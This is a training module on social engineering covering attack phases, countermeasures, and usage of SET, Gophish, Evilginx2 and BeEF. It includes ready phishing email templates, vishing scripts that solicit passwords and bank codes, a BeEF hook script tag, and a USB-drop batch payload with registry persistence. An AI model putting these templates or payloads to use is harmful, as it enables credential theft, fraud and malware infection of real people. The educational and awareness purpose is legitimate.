CYBER MIND SPACE
Module 09 - Social Engineering

Overview

Social Engineering is the art of manipulating people to divulge confidential information or perform actions that compromise security. Unlike technical attacks, social engineering exploits human psychology, trust, and emotions to bypass security controls. This module covers various social engineering techniques including human-based attacks (impersonation, shoulder surfing, dumpster diving), computer-based attacks (phishing, spear phishing), and mobile-based attacks.

Learning Objectives

- Understand the psychology behind social engineering attacks
- Learn different types of social engineering techniques
- Master prevention and detection strategies
- Gain hands-on experience with social engineering tools
- Develop security awareness training programs

Fundamentals

What is Social Engineering?

Social engineering is an act of stealing information from humans. It's a mind manipulation technique.

- No interaction with target system or network
- Non-technical attack
- Convincing the target to reveal information
- One of the major vulnerabilities which leads to this type of attack is Trust
- User trust in another user and does not secure their credentials from them
- Employees are uneducated at organizations, so this is a major vulnerability
- Lack of security policies and privacy are also vulnerable

Phases in Social Engineering

- **Research**
  - Collection of information from the target organization
  - Collected by dumpster diving, scanning, search on the internet, etc.
- **Select target**
  - Select the target among other employees
  - A frustrated target is more preferred
- **Relationship**
  - Create relationship with the target
  - Earn the trust
- **Exploit**
  - Collecting sensitive information such as usernames, passwords, etc.

Types of Social Engineering Attacks

Human-based Social Engineering

One-to-one interaction with the target. Earn the trust to gather sensitive information from the target.

Impersonation

- Pretend to be something or someone, pretending to be a legitimate user or authorized person
- Impersonation is performed by identity theft

Eavesdropping and Shoulder Surfing

- Eavesdropping is a technique in which attacker is revealed information by listening to the conversation
- Reading or accessing any source of information without being notified
- Shoulder Surfing is a method of gathering information by standing behind the target

Dumpster Diving

- Looking for treasure in trash
- Searching through discarded documents and materials

Piggybacking and Tailgating

- Piggyback is a technique in which attacker waits for an authorized person to gain entry in a restricted area
- Tailgating is a technique in which attacker gains access to the restricted area by following the authorized person

Computer-based Social Engineering

Phishing

Cyber Mind Space

- Attacker sends fake emails which look like legitimate emails
- They're sent to hundreds, sometimes thousands, of recipients
- When recipient opens the link, they are enticed to provide information
- Attacker uses IDN Homographic Attack (International Domain Name)
- In this, attacker uses Cyrillic script to register domain name and create fake website similar to actual website

Spear Phishing

- Similar to phishing but it is focused on one target
- Because of this, it generates higher response rate

Mobile-based Social Engineering

Publishing Malicious Apps

- These applications are normally a replica or similar copy of a popular application

Repackaging Legitimate Apps

- Repack a legitimate app with malware

Insider Attack

Social Engineering is not all about a third person gathering information, it may be an insider with privileges.

Impersonation on Social Network Sites

Social Engineering Through Impersonation on Social Network Sites

- Attacker gathers personal information of a target from different sources mostly from social network sites
- Information includes: full name, date of birth, email address, residential address, etc.
- After gathering the information, the attacker creates an account that is exactly the same
- Then introduces to friends, groups joined by the target to get updates or convince the target's friends to reveal information

Risks of Social Networks in Corporate Networks

- Social network sites are not secured enough as a corporate network secures the authentication
- The major risk of social networks is their vulnerability in authentication
- The employee while communicating on social networks may not take care of sensitive information

Identity Theft

- Stealing the identification information of someone
- Popularly used for frauds
- Prove the fake identity to take advantage of it

Countermeasures

Secure Sensitive Data

- Store data at rest in a secure manner (Use Encryption or Salted Hashing)
- Don't share sensitive info/documents with everyone

Physical Security

- Who has access to physical records (data)
- Who has access to sensitive areas (server room, admin block, data centres)
- How you ensure physical security

Least Privileges

- Assign least privileges to employees/users

Strong Policies

- Password policies
- Access policies
- Device controls, etc.

Training

- Train your employees for popular and new social engineering attacks

Biometric Authentication

- Use biometric authentication for access and entry records

Audit

- Regular internal audits and external audits

Tools and Techniques

Cyber Mind Space

Social-Engineer Toolkit (SET)

Description: Open-source penetration testing framework designed for social engineering attacks, including spear-phishing, credential harvesting, and website cloning.

Installation:

```
# Clone and install SET
git clone https://github.com/trustedsec/social-engineer-toolkit/
cd social-engineer-toolkit/
python setup.py install
```

Usage Examples:

```
# Start SET
sudo setoolkit

# Select attack vector
# 1) Social-Engineering Attacks
# 2) Website Attack Vectors
# 3) Credential Harvester Attack Method

# Clone a website for credential harvesting
# Select: Website Attack Vectors -> Credential Harvester -> Site Cloner
# Enter target URL: https://gmail.com
# Set local IP for harvester

# Generate phishing emails
# Select: Social-Engineering Attacks -> Spear-Phishing Attack Vectors
# Create custom email templates
```

Gophish

Description: Open-source phishing toolkit designed for businesses and penetration testers to conduct real-world phishing simulations.

Installation:

```
# Download and run Gophish
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
./gophish
```

Usage:

```
# Access web interface at https://localhost:3333
# Default credentials: admin/gophish

# Create email template
# Set up landing page
# Configure sending profile (SMTP settings)
# Launch phishing campaign
# Monitor results and statistics
```

King Phisher

Description: Tool for testing and promoting user awareness by simulating real-world phishing attacks in a controlled environment.

Usage:

```
# Start King Phisher server
king-phisher-server

# Start King Phisher client
king-phisher-client

# Configure campaign settings
# Create message templates
# Set up landing pages
# Launch campaign
# Analyze user interactions
```

Evilginx2

Description: Man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for bypassing 2-factor aut hentication.

Usage:

```
# Start Evilginx2
sudo evilginx2
```

Cyber Mind Space

```
# Set up phishlet for target service
phishlets hostname gmail evilsite.com
phishlets enable gmail

# Create lure URL
lures create gmail
lures get-url 0

# Monitor captured sessions
sessions
```

BeEF (Browser Exploitation Framework)

Description: Penetration testing tool that focuses on the web browser to assess security posture through client-side attack vectors.

Usage:

```
# Start BeEF
./beef

# Access control panel at http://127.0.0.1:3000/ui/panel
# Default credentials: beef/beef

# Hook browsers using JavaScript payload
<script src="http://your-beef-server:3000/hook.js"></script>

# Execute browser exploits
# Social engineering attacks
# Information gathering
```

Maltego

Description: Link analysis tool for gathering and connecting information for investigative tasks and social engineering reconnaissance.

Features:

- Person entity mapping
- Email address discovery
- Social media profile linking
- Phone number enumeration
- Domain association analysis

Advanced Techniques and Payloads

Phishing Email Templates

Banking Security Alert

```
Subject: Urgent: Account Security Alert - Action Required

<html> <body> <div style="font-family: Arial,
sans-serif;">

    <div style="background-color: #1e3a8a; color: white; padding: 20px;">
        <h2>Important Security Notice</h2>
    </div>
    <div style="padding: 20px;">
        <p>Dear Valued Customer,</p>
        <p>We have detected unusual activity on your account.</p>
        <p><strong>Account Status:</strong> <span style="color: red;">SUSPENDED</span></p>
        <p>Please click the link below to verify your account:</p>
        <a href="http://phishing-site.com/verify" style="background-color: #1e3a8a; color: white; padding: 10px 20px; text-decoration: none; border-
radius: 5px;">Verify Account Now</a>
        <p><small>If you do not verify within 24 hours, your account will be permanently closed.</small></p>
        <p>Regards,<br>Security Team</p>
    </div>
</div>
</body>
</html>
```

IT Support Template

```
Subject: Critical Security Update Required

Dear [Name],

Our security team has detected potential malware on your workstation. To protect company data, we need you to install the attached security patch
immediately.

Please run the attached file and enter your network credentials when prompted.

If you have any questions, please call IT Support at extension 4521.
```

Cyber Mind Space

```
Best regards,
IT Security Team
```

Vishing (Voice Phishing) Scripts

IT Support Script

```
"Hello, is this [TARGET_NAME]? This is [YOUR_NAME] from IT Support.
We've detected unusual activity on your network account that could indicate a security breach.
We need to verify your account immediately to prevent any data loss.

For verification, I need to confirm your current login credentials.
What username do you use to access company systems?
And to verify this is really you, can you confirm your current password?"
```

Banking Script

```
"Hello, this is [YOUR_NAME] calling from the Security Department at [BANK_NAME].
We've detected a suspicious transaction on your account for $1,247.83 that was just processed.
Did you authorize this transaction?

I'm going to immediately freeze your account to prevent additional unauthorized charges.
However, I need to verify your identity first by confirming your account number and security code."
```

USB Drop Attack Payload

```
@echo off
title Critical Security Update
echo Installing security patches...

REM Copy payload to system
copy payload.exe %APPDATA%\WindowsUpdate.exe

REM Create persistence
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "SecurityUpdate" /t REG_SZ /d "%APPDATA%\WindowsUpdate.exe"

REM Execute payload silently
start /min %APPDATA%\WindowsUpdate.exe

echo Update completed successfully!
pause
exit
```

Cyber Mind Space

Latest Tools and Techniques (2024 Updates)

AI-Powered Social Engineering

- ChatGPT and AI-generated content for creating convincing phishing emails
- Deepfake technology for video/audio impersonation
- AI voice cloning for advanced vishing attacks

Modern Phishing Techniques

- QR Code phishing targeting mobile devices
- Progressive Web App (PWA) phishing bypassing traditional email filters
- Cloud service impersonation (Office 365, Google Workspace)
- Cryptocurrency-themed attacks exploiting current trends

Advanced Reconnaissance Tools

- OSINT Framework 2024 with enhanced social media scraping
- Sherlock for username enumeration across platforms
- theHarvester with updated modules for latest platforms
- SpiderFoot for comprehensive OSINT automation

Social Media Exploitation

- LinkedIn automated connection requests for corporate infiltration
- Instagram/TikTok influence campaigns for younger demographics
- Discord server infiltration for gaming and tech communities
- Telegram channel monitoring for threat intelligence

Real-World Case Studies

Case Study 1: Target Corporation Breach (2013)

- Attack Vector: Spear phishing email to HVAC vendor
- Lesson: Third-party vendor security is crucial
- Impact: 40 million credit card numbers compromised

Case Study 2: Ubiquiti Networks (2021)

- **Attack Vector:** Social engineering of employee credentials
- **Technique:** Impersonation of IT support via phone
- **Impact:** $46.7 million stolen via fraudulent transfers

Case Study 3: Twitter Bitcoin Scam (2020)

- **Attack Vector:** Social engineering of Twitter employees
- **Technique:** Phone-based social engineering
- **Impact:** High-profile accounts compromised, Bitcoin fraud

Hands-On Labs and Exercises

Lab 1: Phishing Campaign Simulation

- Set up Gophish environment
- Create convincing email template
- Design landing page
- Configure SMTP settings
- Launch campaign against test users
- Analyze results and generate report

Lab 2: Social Media OSINT

- Use Maltego for target profiling
- Gather information from LinkedIn, Facebook, Twitter
- Create comprehensive target dossier
- Identify potential attack vectors
- Document findings for social engineering approach

Lab 3: Vishing Simulation

- Develop calling scripts for different scenarios
- Practice voice modulation and authority building
- Document successful techniques
- Analyze psychological triggers
- Create countermeasure recommendations

Detection and Prevention

Email Security Controls

- **SPF, DKIM, DMARC** implementation
- **Advanced Threat Protection** (ATP) solutions
- **Email sandboxing** for attachment analysis
- **User reporting mechanisms** for suspicious emails

User Awareness Training

- **Regular phishing simulations** with immediate feedback
- **Security awareness workshops** covering latest threats
- **Incident response training** for employees
- **Reward systems** for security-conscious behavior

Technical Controls

- **Multi-factor authentication** (MFA) implementation
- **Privileged access management** (PAM) systems
- **Network segmentation** to limit breach impact
- **Endpoint detection and response** (EDR) solutions

Monitoring and Detection

- **Security Information and Event Management** (SIEM) correlation
- **User and Entity Behavior Analytics** (UEBA)
- **Email security gateways** with advanced analysis
- **Web filtering** and DNS protection

Compliance and Legal Considerations

Authorized Testing Only

- Always obtain proper written authorization
- Define scope and limitations clearly

Cyber Mind Space

- Ensure legal compliance in your jurisdiction
- Document all activities for audit purposes

Ethical Guidelines

- Protect any gathered information
- Report vulnerabilities responsibly
- Avoid causing harm or disruption
- Respect privacy and confidentiality

References and Further Reading

Official Resources

- *NIST Special Publication 800-50: Building an Information Technology Security Awareness and Training Program*
- *SANS Institute: Social Engineering - The Art of Human Hacking*
- *Anti-Phishing Working Group (APWG) Reports*
- *Verizon Data Breach Investigations Report*

Community Resources

- *Social Engineering Framework*
- *OWASP Social Engineering*
- *MITRE ATT&CK - Initial Access Techniques*
- *Have I Been Pwned*

Training and Certification

- *KnowBe4 Security Awareness Training*
- *SANS SEC542: Web App Penetration Testing and Ethical Hacking*
- *EC-Council Certified Ethical Hacker (CEH)*

🔗 STAY CONNECTED WITH US 🔗
🔥 Stay Connected with Cyber Mind Space — Learn, Discuss & Dominate Cybersecurity! 🔐💡
📢 Telegram Channel (Updates & Resources):
https://t.me/cybermindspace
💬 Telegram Group (Ask & Network):
https://t.me/+LJvMwjAE6yA5YWQ1
📸 Instagram (Reels & Daily Tips):
https://instagram.com/cyber_ mind _space
🎥 YouTube (Podcasts, Lives & Tutorials):
https://www.youtube.com/@CyberMindSpace
🔗 LinkedIn (Professional Profile):
https://linkedin.com/in/almadadali
💻 GitHub (Tools & Scripts):
https://github.com/ALMADADALI
📲 WhatsApp Channel (Cyber Alerts):
https://whatsapp.com/channel/0029VbAzQMU9hXF70zjpCu1Y
🗣️ Discord Server (Voice & Community Chat):
https://discord.gg/qA3CqZ86hY
🎥 Tiktok:
https://www.tiktok.com/@cybermindspace
🐦 Twitter (X) – Cybersecurity Thoughts:
https://x.com/cybermindspace?s=21
⚡Subscribe, Follow & Stay Updated — Cybersecurity Never Sleeps! 🌐

Cyber Mind Space